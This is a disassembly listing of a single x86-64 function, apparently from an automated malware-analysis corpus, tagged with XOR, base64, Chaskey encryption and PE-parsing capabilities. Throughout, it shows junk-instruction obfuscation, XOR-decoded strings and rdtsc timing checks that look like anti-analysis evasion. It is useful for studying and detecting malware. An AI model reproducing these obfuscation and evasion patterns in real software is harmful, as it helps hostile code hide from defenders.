Function at 0x39404237d
Capabilities:
Encode data using base64
Encode data using xor
Encrypt data using chaskey
Parse pe header

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x68
push r10
pminsw mm1, mm7
punpcklbw mm4, mm7
nop
paddb mm5, mm2
push r8
neg r10
emms
adc r10, r8
push r12
not r8w
not r8d
push rdx
emms
pop rdx
punpckldq mm1, mm4
adc r12d, r8d
pop r12
psubw mm2, mm5
not r10d
ucomiss xmm3, xmm8
pop r8
emms
not r10b
nop
sar r10b, 0x10
pop r10
movabs rax, 0x46007400780068
mov word [rsp + 0x58], 0
mov qword [rsp + 0x50], rax
push r11
shl r11, 0x12
push r15
dec r15
psubusw mm4, mm1
push r12
sub r12b, r11b
minps xmm3, xmm9
rol r12b, 8
pop r12
cmp r11d, r15d
psraw mm3, 0x57
pop r15
sar r11, 0x17
pop r11
movabs rax, 0x3100490024
mov qword [rsp + 0x48], rax
push rdx
not edx
push r10
emms
pop r10
subss xmm2, xmm0
pop rdx
lea rbp, [rsp + 0x48]
lea rdi, [rsp + 0x50]
mov rdx, rbp
mov rcx, rdi
call sub.msvcrt.dll_wcscmp
test eax, eax
jne 0x394042677
cmp r11w, 0x11
je 0x394042557
push rbx
paddd mm1, mm0
push r12
adc r12, rbx
push r8
sub r8b, 8
push rcx
mov r12, r8
push r9
movaps xmm3, xmm15
push r15
sar r8, 2
pop r15
pmaxsw mm2, mm5
pop r9
movhlps xmm0, xmm11
pop rcx
shr r12, 2
pop r8
psadbw mm7, mm1
pop r12
sar bl, 0xf
pop rbx
cmp r13d, 0x4d
je 0x394042578
push rcx
mov rcx, 2
push r14
push r12
pop r12
pop r14
dec rcx
jne 0x39404249b
pop rcx
cmp ebx, r13d
je 0x3940425ad
push r9
psrld mm3, 0x13
push rcx
adc r9d, ecx
push r13
psraw mm4, 0x34
pop r13
sbb r9d, 0x10
pop rcx
nop
pop r9
cmp dl, r11b
je 0x3940425d5
push r10
psrlw mm6, 0x58
push r8
xchg r10b, r8b
test r8d, r10d
push r11
packsswb mm1, mm2
xadd r11w, r10w
xor r8w, r10w
push rax
emms
sub r10, 0x17
nop
cmp r11d, eax
push rdx
sub r11b, 0xa
dec r11
emms
rcr r11d, 7
psllq mm7, 0x13
pop rdx
paddusb mm7, mm3
psrld mm7, 0x5c
emms
not r10
pop rax
psraw mm3, 0x43
not r11b
psrlq mm6, 0x29
pop r11
psubsb mm4, mm3
pslld mm7, 0x62
pop r8
inc r10d
pop r10
cmp r11w, 0x38
je 0x3940425f5
push rbx
punpckhwd mm6, mm4
pop rbx
cmp dx, r15w
je 0x39404261f
jne 0x39404265f
cmp r11d, 0x46
jne 0x394042566
push r8
inc r8
pop r8
jmp 0x39404256d
push r12
rcl r12d, 1
pop r12
push rbx
psraw mm6, 0x3d
pop rbx
jmp 0x39404265f
push r13
emms
nop
inc r13
push r12
emms
shl r13b, 0x11
psrld mm5, 0x40
push rbx
nop
sub bl, 8
emms
pop rbx
dec r13d
inc r13d
xchg r12w, r13w
pop r12
addps xmm4, xmm10
nop
nop
pop r13
jmp 0x39404265f
push r10
dec r10d
push r13
emms
nop
push r8
psrlq mm6, 0x26
paddw mm4, mm0
nop
pop r8
nop
orps xmm12, xmm1
pop r13
sbb r10, 0xc
pop r10
jmp 0x39404265f
push r13
psllq mm7, 0x3e
sbb r13w, 8
push r15
rcr r15d, 0x16
pop r15
mov r13d, 0x11
punpcklwd mm0, mm5
pop r13
jmp 0x39404265f
push r13
sbb r13, 5
push rax
psllq mm1, 0x48
punpcklwd mm2, mm3
push r15
or rax, r13
minps xmm12, xmm13
pand mm4, mm0
pop r15
dec r13
packssdw mm5, mm7
pop rax
inc r13
pop r13
jmp 0x39404265f
push rcx
pslld mm7, 0x65
psrld mm0, 0x28
movups xmm0, xmm9
push r12
psubsb mm2, mm5
paddw mm4, mm1
pminsw mm4, mm7
push r8
emms
paddw mm2, mm3
push r14
cmp r14b, cl
por mm2, mm6
pop r14
dec r12d
psubw mm5, mm4
emms
pop r8
nop
nop
pop r12
neg cx
mulss xmm5, xmm8
pop rcx
push r10
nop
movups xmm5, xmm7
push r15
pslld mm3, 0x12
pop r15
emms
psrld mm0, 0x53
pop r10
jmp 0x3940426d0
mov rax, rbp
lea rdx, [rsp + 0x4e]
push rdx
nop
emms
packsswb mm7, mm0
psrlw mm6, 0x63
psllq mm1, 0x11
psrlq mm5, 0x62
inc rdx
pop rdx
xor word [rax], 0x99
push r11
pslld mm0, 0xd
nop
shl r11, 0x16
push rbx
pandn mm6, mm4
nop
push r14
psadbw mm4, mm6
pop r14
not bx
maxps xmm7, xmm12
pop rbx
psrad mm2, 0x40
pcmpeqb mm6, mm4
rcl r11, 8
pop r11
add rax, 2
cmp rax, rdx
jne 0x39404267f
push rbx
emms
dec ebx
push r15
neg ebx
pop r15
inc rbx
psrad mm1, 0x51
pop rbx
cmp r11d, 0x3e
je 0x3940427f3
push r13
nop
orps xmm3, xmm1
nop
push r9
or r9b, r13b
sub r9b, 0x16
add r9b, r13b
push r12
not r9w
nop
sbb r12d, r13d
pop r12
not r13
dec r13
nop
pop r9
not r13w
mulps xmm3, xmm0
mov r13b, 0x17
pop r13
cmp eax, 0x4c
je 0x394042843
push rbx
nop
psrlq mm0, 0x20
push rdx
emms
psrlq mm4, 0x18
push rcx
not bl
emms
push r11
nop
inc r11
pop r11
nop
neg edx
pop rcx
movaps xmm11, xmm6
psraw mm5, 0x16
pop rdx
rol bx, 2
nop
pop rbx
cmp edx, ebx
je 0x39404285e
push rbx
mov rbx, 2
push r11
push r8
pop r8
pop r11
dec rbx
jne 0x394042767
pop rbx
cmp r14d, 3
je 0x394042875
push r11
rcl r11d, 9
psllq mm7, 0x48
pcmpeqd mm5, mm0
psrlw mm2, 0x14
push rax
nop
shl rax, 1
paddsw mm4, mm7
push rcx
rol r11d, 0xa
shr cl, 5
push r15
nop
pop r15
sub ecx, eax
shl rcx, 0xd
pop rcx
mov rax, r11
neg rax
rcl rax, 7
pop rax
emms
emms
shl r11d, 0x17
packsswb mm6, mm0
pop r11
cmp edx, ecx
je 0x3940428a2
push rbx
rcl ebx, 0x16
push r15
sub bl, r15b
push rdx
paddusw mm2, mm0
pop rdx
punpckhwd mm2, mm4
pop r15
paddb mm4, mm7
pop rbx
cmp r13, 0x68
je 0x3940428e2
jne 0x394042904
push rcx
movaps xmm3, xmm12
psrlq mm0, 0x47
push r8
nop
mov r8w, 0x15
push rax
sbb cx, 3
addss xmm4, xmm10
push r13
pcmpeqw mm1, mm4
punpcklwd mm3, mm5
push rdx
emms
paddsb mm2, mm0
pop rdx
psllq mm5, 0x68
inc r13d
pop r13
shr eax, 2
emms
pop rax
psllq mm2, 0x2a
sub cl, r8b
pop r8
comiss xmm2, xmm12
psrlq mm1, 0x21
pop rcx
jmp 0x394042904
push r10
mov r10, 1
push r13
push rax
pop rax
pop r13
dec r10
jne 0x39404284c
pop r10
jmp 0x394042904
push r12
mov r12, 2
push rax
pop rax
dec r12
jne 0x394042867
pop r12
jmp 0x394042904
push rdx
mov edx, 0x16
mulps xmm3, xmm9
pmulhuw mm7, mm4
nop
push r9
sub rdx, 0x17
and r9w, dx
not edx
adc r9, rdx
pop r9
nop
sbb dl, 0xc
dec rdx
psrlw mm3, 0x10
pop rdx
jmp 0x394042904
push r11
ucomiss xmm2, xmm3
paddw mm3, mm0
push rcx
movlhps xmm6, xmm2
punpckhwd mm0, mm4
push rdx
sar dl, 0xa
pcmpgtw mm6, mm1
push r14
packsswb mm2, mm5
maxps xmm7, xmm11
pop r14
rol rdx, 8
dec r11d
pop rdx
sar r11w, 0x17
shl rcx, 2
pop rcx
mov r11w, 3
shl r11b, 3
pop r11
jmp 0x394042904
push r9
neg r9d
push r10
paddsw mm2, mm4
dec r9
push rax
inc r9
emms
nop
pop rax
emms
sub r9b, 0xf
pop r10
dec r9d
pop r9
cmp r11d, r8d
jne 0x394042914
push r10
sub r10w, 0x11
pop r10
jmp 0x39404291a
push rax
psrlw mm4, 0x44
pop rax
push r9
psrlq mm5, 0x6b
pop r9
push r10
rcl r10, 2
sub r10w, 0xc
psubsb mm6, mm5
addss xmm15, xmm12
paddusw mm1, mm0
ror r10w, 9
nop
emms
sbb r10w, 0xe
shl r10b, 0xb
emms
nop
pop r10
push rbx
emms
psrld mm6, 0x52
emms
shl bl, 0x12
push r10
movaps xmm4, xmm10
andps xmm5, xmm11
nop
sar rbx, 5
pop r10
emms
nop
orps xmm3, xmm10
psraw mm6, 0x69
pop rbx
push r10
addps xmm13, xmm5
nop
psrad mm3, 0x58
ror r10b, 0xc
maxss xmm10, xmm9
movhlps xmm0, xmm5
psrld mm4, 0x1c
pop r10
push r8
mov r8, 3
push rbx
pop rbx
dec r8
jne 0x39404299d
pop r8
push r11
emms
push r10
shl r10, 0xe
push r13
and r11, r10
push r12
psllq mm6, 0x30
push r15
emms
push rcx
neg r12
push r14
nop
pop r14
rol ecx, 4
pop rcx
paddusb mm1, mm7
pop r15
not r10d
pop r12
psrlw mm2, 6
pop r13
sub r11, 2
pop r10
orps xmm15, xmm6
pop r11
push rbx
psllq mm0, 0x2c
nop
push r10
pandn mm2, mm4
pop r10
punpckhbw mm4, mm6
emms
pop rbx
movabs rax, 0x4600740072005e
mov word [rsp + 0x58], 0
mov qword [rsp + 0x50], rax
push rdx
nop
mov dx, 7
rcr edx, 2
pslld mm3, 4
movlhps xmm4, xmm14
push r15
dec r15d
pcmpeqb mm4, mm7
neg r15b
emms
push r9
emms
pxor mm5, mm4
rol edx, 0xc
push r13
not rdx
sub r13, r15
push r14
psrld mm3, 1
pop r14
psraw mm0, 0x28
cmp dl, r13b
pop r13
and r9d, r15d
emms
pmulhuw mm0, mm1
pop r9
neg r15d
pmaxsw mm1, mm4
shl dx, 0x16
or r15, rdx
pop r15
nop
dec edx
shr dl, 1
nop
rcr dl, 0xd
pop rdx
mov rcx, rdi
call sub.msvcrt.dll_wcslen
cmp rax, 5
jne 0x394042abf
push r13
andnps xmm7, xmm0
pcmpeqd mm0, mm1
mulss xmm11, xmm0
push rcx
shl r13w, 0x14
neg cx
mulss xmm3, xmm6
push rbx
rcr r13, 0xd
psllq mm7, 0x4a
emms
pop rbx
psllq mm1, 0x4c
emms
emms
pop rcx
nop
shl r13d, 7
not r13w
pop r13
jmp 0x394042b28
mov rax, rdi
lea rdx, [rsp + 0x58]
push r11
movups xmm12, xmm15
push r8
xadd r8d, r11d
pop r8
psllq mm5, 0x61
pop r11
xor word [rax], 0x73
push r12
inc r12
nop
neg r12b
shl r12d, 5
push rcx
emms
sub cx, r12w
rcr cl, 0xf
push rax
nop
nop
push r15
nop
pop r15
psrad mm6, 0x3a
add ecx, r12d
pop rax
psllq mm5, 0x23
mulss xmm8, xmm2
sbb r12, rcx
pop rcx
psrlq mm3, 0x1c
psrlw mm4, 0x5c
nop
nop
pop r12
add rax, 2
cmp rax, rdx
jne 0x394042ac7
cmp r11d, eax
jne 0x394042b3b
push r11
not r11b
push rdx
nop
nop
pop rdx
nop
pop r11
jmp 0x394042b4e
push r13
shl r13, 0x10
push rbx
add bx, r13w
nop
pop rbx
psrlw mm6, 0x2f
pop r13
push r12
punpckhwd mm5, mm6
push r9
psrlw mm0, 0x33
emms
pop r9
nop
pop r12
rdtsc
mov ebx, edx
mov esi, eax
push r11
mov r11b, 0xd
paddusw mm5, mm2
push r10
or r11, r10
cmp r11d, r10d
push r12
subss xmm6, xmm1
addps xmm11, xmm5
push r15
dec r11
mov r12, r11
pop r15
nop
pandn mm7, mm4
pop r12
psllq mm6, 0x3c
psraw mm6, 0x68
pop r10
psrad mm6, 0x4e
pslld mm4, 4
pop r11
mov ecx, 0x10
call sub.msvcrt.dll_malloc
mov rcx, rax
cmp r11b, 0x55
jne 0x394042bbe
push rax
inc rax
pop rax
jmp 0x394042bc5
push r13
neg r13
pop r13
push rdx
nop
pop rdx
mov edx, pe_nt_image_headers64
call sub.msvcrt.dll_realloc
mov rcx, rax
push r15
movhlps xmm11, xmm9
push r9
nop
dec r9
push rbx
paddw mm6, mm4
rcpps xmm14, xmm5
subps xmm15, xmm2
push r12
neg r15d
psraw mm3, 0x55
nop
minps xmm4, xmm10
pop r12
rcl r9b, 0x15
pcmpgtd mm1, mm5
emms
pop rbx
psrld mm3, 0x37
sbb r15b, 0xc
pop r9
emms
pop r15
call sub.msvcrt.dll_free
push rcx
psrld mm6, 0x48
punpcklbw mm3, mm4
psrld mm7, 0xd
push rax
mov eax, 0x15
nop
push r13
adc ecx, eax
pop r13
psrld mm0, 0x1f
psrlw mm3, 0x2a
pop rax
paddusb mm5, mm3
minps xmm4, xmm12
addss xmm3, xmm2
pop rcx
push rcx
emms
dec ecx
maxss xmm5, xmm1
psrlq mm2, 0x34
nop
push rdx
nop
nop
neg edx
sar cx, 5
xadd ecx, edx
pop rdx
punpcklbw mm7, mm4
rcpps xmm9, xmm8
emms
ror cl, 9
not rcx
shl cx, 0x13
pop rcx
push r8
pcmpgtd mm6, mm7
push rax
nop
push rcx
rcr cx, 0xf
pop rcx
emms
pop rax
subps xmm10, xmm14
pop r8
mov qword [rsp + 0x50], 0xffffffffffffd8f0
push r12
punpckhbw mm2, mm0
push r15
neg r15
push r11
xor r12, r15
push r13
nop
push rdx
nop
push r10
pslld mm1, 0x6b
pop r10
emms
pop rdx
xadd r11b, r13b
pop r13
neg r12w
pop r11
shl r12d, 2
pop r15
sub r12w, 0x14
pop r12
mov rax, rbx
mov ecx, 0x14
xor edx, edx
shl rax, 0x20
or rax, rsi
div rcx
imul esi, edx, 0x3e8
cmp r11w, r9w
jne 0x394042d13
push r13
emms
push r14
emms
psubw mm7, mm0
pop r14
mov r13w, 0x14
pop r13
jmp 0x394042d29
push r10
ucomiss xmm3, xmm2
push r8
emms
movlhps xmm0, xmm8
pop r8
maxss xmm13, xmm11
pop r10
push r11
punpcklwd mm3, mm4
push rcx
sbb r11w, 5
sbb r11d, ecx
pop rcx
dec r11
pop r11
lea eax, [rsi + 0x2710]
imul rax, qword [rsp + 0x50]
mov qword [rsp + 0x50], rax
push r13
pxor mm0, mm2
pxor mm4, mm6
pslld mm4, 0x1c
push r10
test r13w, r10w
psrlq mm1, 0x50
emms
push r14
pandn mm4, mm3
psrlw mm3, 0x28
addps xmm13, xmm6
pop r14
sbb r13, 0xf
punpckldq mm0, mm6
emms
pop r10
psllq mm3, 0x31
emms
addps xmm10, xmm6
pop r13
call fcn.394054f56
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x30]
call fcn.394050fe7
mov rdx, rdi
xor ecx, ecx
call fcn.394050258
lea rcx, [rsp + 0x40]
mov rdx, rbp
call fcn.394050fe7
mov dword [rsp + 0x2a], 0x5124364a
mov word [rsp + 0x2e], 0x31
push r8
neg r8
psrld mm1, 8
pand mm0, mm2
paddw mm2, mm4
push rbx
emms
packsswb mm1, mm5
psrlq mm2, 0xa
push r14
mov r8, r14
not r8
push r12
pcmpgtd mm6, mm7
pop r12
emms
psrlq mm2, 0x25
pop r14
nop
psrlq mm5, 0x50
dec r8
pop rbx
not r8w
psrld mm3, 0x25
punpckldq mm3, mm7
pslld mm7, 0x59
pop r8
lea rbx, [rsp + 0x2a]
mov rcx, rbx
call sub.msvcrt.dll_strlen
cmp rax, 3
jne 0x394043179
mov rax, rbx
lea rdx, [rsp + 0x2f]
cmp r11, 0xf
je 0x394042f60
cmp r11w, bx
jne 0x394042e56
push r8
emms
push r9
adc r9, r8
psllq mm0, 0x4f
pop r9
rol r8d, 0xf
pop r8
jmp 0x394042e6a
push r12
maxps xmm11, xmm5
push r15
emms
packssdw mm4, mm7
pop r15
not r12d
pop r12
push rdx
rol edx, 0xb
push rax
paddsw mm7, mm4
nop
pop rax
rcl dx, 0xe
pop rdx
cmp r10w, 9
je 0x394042fb7
push r8
rol r8w, 1
push r10
not r8w
push r15
nop
push rcx
ucomiss xmm6, xmm13
push r11
nop
push rax
andnps xmm4, xmm3
push r13
psrld mm5, 0x3b
pop r13
test r10d, eax
pop rax
nop
pop r11
pcmpeqw mm5, mm1
pop rcx
pmaddwd mm3, mm0
pop r15
shl r8w, 0xa
pop r10
emms
pop r8
cmp r14w, 0x4c
je 0x394042feb
push r10
nop
pcmpeqb mm2, mm7
nop
subss xmm15, xmm12
push r13
nop
shr r13w, 0xc
pcmpeqb mm2, mm6
inc r13d
pop r13
nop
movhlps xmm12, xmm2
nop
pslld mm7, 0x5c
pop r10
cmp r8w, 0x24
je 0x394043041
push rcx
emms
rol cx, 0x15
emms
pand mm7, mm3
pmaxub mm6, mm4
emms
paddsw mm3, mm7
dec rcx
emms
shr rcx, 1
nop
psrld mm2, 0x6a
pop rcx
cmp ax, 0x54
je 0x394043077
push r9
nop
nop
shl r9b, 0x16
shl r9d, 5
punpckldq mm4, mm7
nop
psubw mm6, mm4
emms
pmulhuw mm3, mm2
psrld mm6, 0x1b
maxss xmm6, xmm1
inc r9
pop r9
cmp r11b, cl
je 0x39404309a
jne 0x3940430d7
cmp r11, r9
jne 0x394042f91
push r12
rcl r12b, 3
push r13
ror r13, 0xb
psrad mm6, 0x1f
pop r13
dec r12
pop r12
jmp 0x394042fa0
push r8
emms
push rdx
sbb dx, r8w
ror edx, 1
pop rdx
nop
pop r8
push rax
rcl ax, 0xf
push r14
neg ax
orps xmm13, xmm2
pop r14
nop
pop rax
jmp 0x3940430d7
push r10
psadbw mm0, mm1
push r14
test r10d, r14d
push r9
psraw mm3, 0x64
push r13
pslld mm2, 0x19
push rax
or al, r13b
pop rax
emms
pop r13
shl r10d, 5
pop r9
xadd r14w, r10w
pop r14
nop
pop r10
jmp 0x3940430d7
cmp r11w, ax
jne 0x394043017
push r11
nop
push r15
subps xmm15, xmm2
xorps xmm7, xmm6
pop r15
emms
pop r11
jmp 0x394043028
push rdx
paddusb mm0, mm2
push r10
subps xmm8, xmm9
emms
pop r10
emms
pop rdx
push r8
dec r8
push rax
psraw mm3, 0x58
shl al, 0x16
pop rax
psrld mm4, 0x1a
pop r8
jmp 0x3940430d7
push r8
psrlq mm1, 0x37
shr r8d, 6
neg r8
psraw mm2, 0x4f
emms
push r14
emms
shr r8, 4
nop
paddsw mm3, mm1
not r8
pop r14
psrlw mm0, 0x14
andps xmm5, xmm14
nop
mulps xmm2, xmm5
nop
nop
pop r8
jmp 0x3940430d7
push rdx
dec rdx
nop
nop
andps xmm11, xmm1
emms
psrld mm4, 0x31
emms
emms
psllq mm6, 0x54
ror dx, 0xe
nop
rol edx, 0x14
pop rdx
jmp 0x3940430d7
cmp r11, 0x16
jne 0x3940430b5
push rcx
nop
push r13
psrld mm6, 0x34
movss xmm9, xmm10
pop r13
ucomiss xmm5, xmm1
pop rcx
jmp 0x3940430c6
push r14
paddsb mm3, mm7
push rbx
nop
dec r14
pop rbx
ror r14d, 0xd
pop r14
push r12
neg r12
push r15
sar r12d, 0x16
nop
pop r15
nop
pop r12
push r11
not r11d
paddsw mm6, mm2
push r15
paddw mm7, mm1
sub r15w, 5
push r14
addss xmm8, xmm11
sbb r15, 0xa
push r10
paddsb mm3, mm1
shr r11d, 0xf
push r9
pcmpeqd mm4, mm0
ucomiss xmm10, xmm7
pop r9
adc r15d, r10d
dec r15
pop r10
emms
emms
pop r14
ucomiss xmm2, xmm14
emms
pop r15
andps xmm8, xmm5
sar r11, 8
pop r11
xor byte [rax], 0x75
cmp r11, 0x53
jne 0x394043145
push rdx
minps xmm10, xmm2
push r8
nop
packuswb mm2, mm7
pop r8
psrlq mm6, 0x13
pop rdx
jmp 0x394043156
push rcx
emms
push r11
mov r11b, cl
packsswb mm5, mm4
pop r11
dec rcx
pop rcx
push r14
pmulhuw mm1, mm4
push rax
minps xmm9, xmm7
psllq mm4, 0x2f
pop rax
rcr r14, 0xd
pop r14
inc rax
cmp rax, rdx
jne 0x394042e2f
jmp 0x3940431d1
cmp r11, 0x58
jne 0x3940431aa
push r15
emms
push r13
emms
psraw mm5, 0x30
pop r13
pcmpgtd mm7, mm2
pop r15
jmp 0x3940431bf
push r11
dec r11d
push r8
psadbw mm2, mm6
psrlw mm2, 0x5c
pop r8
dec r11d
pop r11
push rax
orps xmm5, xmm6
push rcx
shl cx, 9
neg cl
pop rcx
mov eax, 0x13
pop rax
push r15
andps xmm14, xmm15
push r12
emms
punpcklbw mm6, mm2
push rcx
adc rcx, r12
dec r15
nop
push rdx
paddsb mm2, mm6
psraw mm5, 0x1c
emms
psraw mm7, 0x19
push r11
nop
pslld mm2, 0x20
psrad mm6, 0x68
sub r12d, r11d
emms
pop r11
nop
emms
adc r12, r15
por mm1, mm0
pop rdx
ucomiss xmm8, xmm5
psrlw mm2, 0x28
maxss xmm13, xmm1
pop rcx
sbb r12d, r15d
andps xmm7, xmm6
pop r12
mulss xmm13, xmm11
pop r15
imul rax, qword [rsp + 0x40], 0x3e8
cqo
idiv qword [rsp + 0x38]
mov rbx, rax
imul rax, qword [rsp + 0x30], 0x3e8
cqo
idiv qword [rsp + 0x48]
sub ebx, eax
cmp r11w, 0x42
je 0x394043387
push rbx
shl ebx, 8
pcmpeqd mm3, mm4
psllq mm2, 0x1e
push rax
maxss xmm2, xmm1
psraw mm4, 0x2d
push rcx
rol cl, 0xc
pop rcx
pcmpgtw mm4, mm7
emms
pop rax
dec rbx
addps xmm10, xmm15
emms
pop rbx
cmp r14b, 0x4e
je 0x3940433a0
cmp r11d, 0x40
jne 0x3940432a7
push r8
movaps xmm5, xmm8
pop r8
jmp 0x3940432ae
push r13
paddsw mm6, mm2
pop r13
push r12
addps xmm12, xmm8
pop r12
cmp r13w, r14w
je 0x3940433d2
push r10
nop
push rax
ucomiss xmm3, xmm15
push r9
inc r10d
pop r9
psrad mm1, 0x51
pop rax
nop
pop r10
cmp dx, 0x2d
je 0x3940433fe
push r9
inc r9d
push rax
movhlps xmm2, xmm7
emms
push r14
pmullw mm2, mm6
not r14d
nop
push rbx
nop
dec rax
nop
movhlps xmm13, xmm6
push r13
nop
pslld mm5, 0x4e
inc r9d
paddusw mm0, mm5
not bx
pop r13
nop
emms
shl bx, 1
sub ax, 8
pop rbx
psrld mm2, 0x42
nop
dec rax
pop r14
sbb r9, rax
test r9b, al
pop rax
punpckldq mm3, mm1
pop r9
cmp ax, r14w
je 0x394043427
push rdx
psrlq mm7, 0x48
pand mm7, mm4
psraw mm1, 0x35
push r8
emms
psrld mm4, 0x15
mov rdx, r8
push r13
sub r8d, 0x12
rol dl, 7
emms
pop r13
pminsw mm5, mm1
rol r8w, 0x17
psraw mm7, 0x6a
pop r8
shl dx, 0x11
emms
emms
pop rdx
cmp r14, 0x20
je 0x39404343b
jne 0x394043470
push r9
nop
psraw mm2, 0x3f
push rcx
not cl
pop rcx
paddusb mm0, mm7
psrad mm3, 0xf
pop r9
jmp 0x394043470
push r8
shl r8, 1
push rbx
sbb r8, 6
push r14
emms
push rax
nop
push r13
sbb r13b, bl
push r15
nop
pop r15
psubusw mm3, mm7
pop r13
emms
pop rax
nop
pop r14
nop
pop rbx
psllq mm6, 0x25
pop r8
jmp 0x394043470
push r12
nop
paddw mm1, mm5
movaps xmm1, xmm0
mov r12w, 0xd
push r13
nop
pxor mm2, mm1
sbb r13b, 0x11
emms
pop r13
neg r12w
psraw mm1, 0xd
nop
dec r12d
pop r12
jmp 0x394043470
push r12
nop
andnps xmm2, xmm12
emms
push rdx
maxps xmm6, xmm14
nop
push rax
emms
pop rax
mov dx, r12w
sbb edx, 0xa
pop rdx
emms
not r12w
psrlw mm1, 0x45
pop r12
jmp 0x394043470
push r15
mov r15, 2
push rbx
pop rbx
dec r15
jne 0x394043430
pop r15
jmp 0x394043470
push r14
emms
rcl r14, 0xd
emms
paddsw mm4, mm2
comiss xmm10, xmm0
push rax
pslld mm7, 1
emms
rcpss xmm15, xmm0
inc eax
inc rax
pop rax
psrlq mm6, 0x45
emms
emms
emms
emms
psrlq mm2, 0x10
pop r14
push rbx
emms
neg bx
push r9
psllq mm0, 0xa
mov r9b, 7
push r10
emms
sar rbx, 0x15
push r15
pxor mm3, mm0
dec r10d
pop r15
pmaxsw mm1, mm6
emms
pop r10
psubusw mm5, mm1
emms
pop r9
inc ebx
pcmpgtd mm6, mm1
pop rbx
call sym.MonitorDestroyCountTimeDevs.dll_ApiExtentRecent
add esi, 0x2328
cmp esi, ebx
jae 0x3940434d0
push rbx
punpckhbw mm6, mm3
andps xmm15, xmm12
shl ebx, 0xb
dec rbx
nop
emms
punpckhbw mm4, mm0
pop rbx
xor eax, eax
jmp 0x3940437cf
cmp r11d, 1
je 0x394043608
cmp r11w, 0x10
jne 0x3940434f8
push r12
shr r12w, 0xa
push r10
pcmpeqb mm2, mm7
emms
pop r10
psubusw mm5, mm7
pop r12
jmp 0x39404350a
push r11
neg r11b
push rbx
mulss xmm2, xmm5
nop
pop rbx
sbb r11d, 0x17
pop r11
push rax
nop
push r13
psrlw mm7, 0x30
emms
pop r13
nop
pop rax
cmp rdx, 0x21
je 0x394043650
push rcx
pcmpgtw mm5, mm6
pop rcx
cmp r10, 0x22
je 0x39404366f
push rax
pmaxub mm7, mm3
shl rax, 0x16
not rax
push r8
rcr r8w, 9
emms
push r11
psrlq mm5, 0x3e
pop r11
cmp ax, r8w
subss xmm6, xmm3
pop r8
pslld mm7, 0x44
emms
psrad mm0, 0x17
pop rax
cmp r14w, ax
je 0x3940436d6
push r10
emms
push rdx
psraw mm4, 0x54
ror edx, 5
push rax
maxss xmm0, xmm11
inc rax
andps xmm7, xmm6
pop rax
pmaddwd mm2, mm1
nop
pop rdx
maxss xmm4, xmm11
pop r10
cmp r12d, eax
je 0x3940436fc
push r8
ror r8d, 0x15
push rdx
rcl r8, 0x15
test r8b, dl
push r11
packsswb mm2, mm5
nop
nop
push rcx
maxss xmm15, xmm8
psraw mm6, 0x1f
psraw mm2, 0x4c
psrlq mm2, 0x34
push rax
psraw mm1, 0x41
psrlq mm1, 0x30
neg al
rcl cl, 7
emms
pop rax
nop
nop
inc r8
adc ecx, r8d
pop rcx
mov r11, 9
adc r8d, r11d
emms
pop r11
psrlq mm0, 6
psrlq mm1, 0x13
pop rdx
psrad mm5, 0x2d
pop r8
cmp r10w, r15w
je 0x39404374d
jne 0x3940437af
push r14
psrad mm7, 0x6b
movaps xmm13, xmm8
neg r14w
push rcx
psubusw mm0, mm5
inc r14
test r14, rcx
push rbx
sub ecx, 1
test rcx, rbx
push r11
adc rbx, r14
psubusw mm7, mm5
pop r11
paddb mm0, mm6
pslld mm6, 0x1b
xadd cl, r14b
pop rbx
shl r14, 0xc
emms
pop rcx
psllq mm3, 0x21
nop
pop r14
jmp 0x3940437af
push r11
dec r11d
movhlps xmm6, xmm12
push r9
add r9w, r11w
pop r9
pminsw mm1, mm6
movlhps xmm7, xmm11
pop r11
jmp 0x3940437af
push rcx
ucomiss xmm12, xmm2
push r15
paddb mm2, mm3
inc ecx
push r12
sub cx, 5
pandn mm0, mm5
punpckldq mm5, mm0
push rdx
or r15d, r12d
psrad mm3, 0x29
sub r15w, 0xc
sbb r15, 1
push rbx
xchg r15w, cx
and r12w, dx
mov rdx, 0x15
nop
or r15w, r12w
pop rbx
and edx, r15d
psrad mm4, 0x40
dec edx
emms
pop rdx
emms
sbb r12d, r15d
sbb r12b, 6
pop r12
shl cx, 0x15
punpckldq mm6, mm1
pop r15
emms
pop rcx
jmp 0x3940437af
push r13
orps xmm9, xmm0
push rcx
not cl
psrlw mm6, 0x21
push r10
inc r13
pmaxub mm7, mm5
emms
pop r10
nop
mov ecx, r13d
pop rcx
nop
pop r13
jmp 0x3940437af
cmp r11w, 6
jne 0x394043727
push r9
pxor mm6, mm0
push rdx
neg edx
nop
pop rdx
shl r9w, 7
pop r9
jmp 0x394043737
push rcx
psubusw mm5, mm6
push rax
nop
psllq mm0, 0x5a
pop rax
rcr rcx, 0x10
pop rcx
push r10
nop
push r13
movaps xmm12, xmm9
not r10d
pop r13
psraw mm2, 0x3b
pop r10
jmp 0x3940437af
push rcx
subps xmm5, xmm1
push r15
mulps xmm15, xmm11
nop
push rax
pmaddwd mm4, mm5
movaps xmm2, xmm14
sbb ax, 0x12
push r9
emms
rcl r15w, 0xf
andnps xmm7, xmm1
emms
push r8
mov r9b, r15b
rol r9b, 0xa
dec r8
addss xmm3, xmm12
pslld mm5, 0x5f
pop r8
pminsw mm3, mm4
sbb cx, 6
sbb cl, 0xc
rol r15, 0x17
pop r9
test al, cl
psrlw mm3, 2
psraw mm0, 0x10
pop rax
paddusw mm4, mm5
emms
pop r15
not cx
pop rcx
push rdx
mov rdx, 3
push r11
push r10
pop r10
pop r11
dec rdx
jne 0x3940437b7
pop rdx
call fcn.394055dd9
mov eax, 1
add rsp, 0x68
pop rbx
pop rsi
pop rdi
pop rbp
ret